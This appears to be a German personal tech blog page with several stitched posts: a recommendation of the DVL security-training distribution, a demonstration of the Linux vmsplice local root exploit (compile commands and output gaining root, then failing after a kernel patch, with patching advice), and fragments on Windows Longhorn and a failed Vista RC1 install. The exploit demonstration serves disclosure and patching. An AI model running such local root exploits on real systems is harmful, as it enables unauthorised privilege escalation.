Operating Systems

DVL ist daher ideal zum Lehren von Angriffen und Gegenmaßnahmen auf IT-Systeme geeignet, so zum Beispiel für Vorlesungen an Hochschulen die sich mit der Thematik befassen. Aber auch zum Selbststudium eignet sich DVL hervorragend.

Neben den zahlreichen Schulungsmaterialien sind eine mindestens ebenso umfangreiche Anzahl an Werkzeugen vorhanden, die beim Lösen der einzelnen Challenges von Nutzen sein können.

Wer auf dem Gebiet Reverse Code Engineering Neuland betritt - wie ich auch - der wird unter dem Menüpunkt Valuable Websites Abhilfe finden. So zum Beispiel der Link zum Video Archiv von reverse-engineering.net. Nach einer Registrierung und einer anschließenden erfolgreichen Anmeldung hat man Zugriff auf das komplette Video-Archiv von video.reverse-engineering.net. Mit ein wenig Grundlagenwissen zu Assembler und anderen Programmiersprachen kann schnell der Einstieg zur Reverse Code Engineering gefunden werden. Falls dieses Wissen fehlen sollte, stellt DVL auch hier wieder entsprechende Schulungsmaterialien bereit (Menüpunkt Coding).

Jeder der seine Kenntnisse zur IT-Sicherheit spielend vertiefen möchte wird mit DVL seinen Spaß haben. Sei es nun das Lösen von Crackmes, die Challenges von HoneyNet.org, dem Ausnutzen von Schwachstellen in den Anwendungen oder einfach das Aufspüren von Lücken in Webseiten, für jeden ist was dabei, egal ob nun Novize oder Profi im Bereich IT-Sicherheit.

Die Lücke soll wohl in der aktuellen Kernel-Version (Kernel 2.6.24.2) behoben sein:

    splice: fix user pointer access in get_iovec_page_array()
    
    patch 712a30e63c8066ed84385b12edbfb804f49cbc44 in mainline.
    
    Commit 8811930dc74a503415b35c4a79d14fb0b408a361 ("splice: missing user
    pointer access verification") added the proper access_ok() calls to
    copy_from_user_mmap_sem() which ensures we can copy the struct iovecs
    from userspace to the kernel.
    
    But we also must check whether we can access the actual memory region
    pointed to by the struct iovec to fix the access checks properly.

Wie gefährlich das Exploit ist, sieht man wenn man es selber ausprobiert hat. Es ist so einfach in der Handhabung, das es wahrscheinlich in nächster Zeit nur so von "Script-Kiddies" wimmeln wird, die sich selber profilieren wollen:

duddits@duddits ~/exploits/linux $ gcc -o expl kexp.c
kexp.c:12:22: Fehler: asm/page.h: Datei oder Verzeichnis nicht gefunden
kexp.c: In Funktion »main«:
kexp.c:193: Fehler: »PAGE_SIZE« nicht deklariert (erste Benutzung in dieser Funktion)
kexp.c:193: Fehler: (Jeder nicht deklarierte Bezeichner wird nur einmal aufgeführt
kexp.c:193: Fehler: für jede Funktion in der er auftritt.)

Beheben des Fehlers  .....
duddits@duddits ~/exploits/linux $ gcc -o expl kexp.c
duddits@duddits ~/exploits/linux $ 
duddits@duddits ~/duddits@duddits ~/exploits/linux $ ./expl 
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7d83000 .. 0xb7db5000
[+] root
duddits linux # id
uid=0(root) gid=0(root) Gruppen=10(wheel),18(audio),19(cdrom),85(usb),1000(duddits)
duddits linux # whoami
root

Dies hatte ich an meinem Desktop-PC ausprobiert, als ich noch Kernel-Version 2.6.22-gentoo-r5 laufen hatte. Erst nach einer Aktualisierung auf die neuste Kernel-Version funktionierte das Exploit nicht mehr:

duddits linux # echo  sys-kernel/gentoo-sources ~x86>>/etc/portage/package.keywords 
duddits linux # emerge -av sys-kernel/gentoo-sources                                    

These are the packages that would be merged, in order:

Calculating dependencies... done!
[ebuild  NS   ] sys-kernel/gentoo-sources-2.6.24-r2  USE="-build -symlink" 45,708 kB 

Total: 1 package (1 in new slot), Size of downloads: 45,708 kB

Would you like to merge these packages? [Yes/No] Yes
...
nach der Konfiguration und einem reboot
...
~/duddits@duddits ~/exploits/linux $ ./expl 
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7d83000 .. 0xb7db5000
[-] vmsplice: Bad address

Daher sollte jeder, sofern er die Möglichkeit hat, auf die neuste Kernel-Version updaten/patchen. Falls einem diese Möglichkeit verwehrt bleibt, sollte man die Benutzer auf dem System so einschränken, das diese keine Möglichkeit zum Kompilieren haben. Weiterhin sollte auch das Laden des vorkompilierten Exploits nicht möglich sein, auch wenn das in der Praxis nur schwer zu realisieren ist.

Ein Server Betriebssystem, welches seinem Administrator nur die nötigsten Funktionen zur Verfügung stellen soll, ist für das kommende Server-Betriebssystem "Longhorn" von Microsoft zu erwarten. Der Administrator soll bei der Installation selbst entscheiden können ob er das "Rund um Glücklich"-Paket oder nur die

(WIC) von Vista erste Schritte in diese Richtung unternimmt, ist es noch aus Ausbau fähig.

Aber wie sagt man so schön: Nondum omnium dierum sol occidit.

Weitere Informationen zu dieser Thematik, sind in der kommenden Ausgabe der Zeitschrift IX zu entnehmen oder direkt online. Wer noch mehr wissen will, schaut am besten im Microsoft TechNet unter http://forums.microsoft.com/technet vorbei.

Da wollte ich doch letztens die Windows Vista RC 1 auf meinem Desktop-PC installieren und war zu nächst sehr begeistert, was doch die Redmonder an der Installation geändert hatten. Selbst das Laden von Festplattentreibern war möglich, ohne umständliches F6 drücken wie in den Vorgänger-Versionen, in dem das Laden von Treibern nur von einem Diskettenlaufwerk möglich ist. Ich war echt begeistert. Doch nach einem kurzen Neustart der Installationsroutine sah ich erstmal Schwarz, erst nach einiger Zeit bekamm ich die Buntemaske zu Gesicht.Allerdings konnte ich nur eine Uhr beobachten, bei der sich der Zeiger bewegte.Nach ungefähr einer halben Stunde warten und rödeln meines DVD-Laufwerks bekamm ich eine höst interessante Fehlermeldung. Ich Zitiere:

"Windows konnte nicht installiert werden. Grund: Es ist ein Fehler bei der Installation von Windows Vista aufgetretten"

Ich muss zugeben, das ich nicht schlecht gestaunt hatte, als ich diese Meldung gelesen habe und hoffe das Microsoft dies bis zum Endgültigen Release behoben hat. Vielleicht sollte ich auch einfach mal den Release Candidat 2 ausprobieren.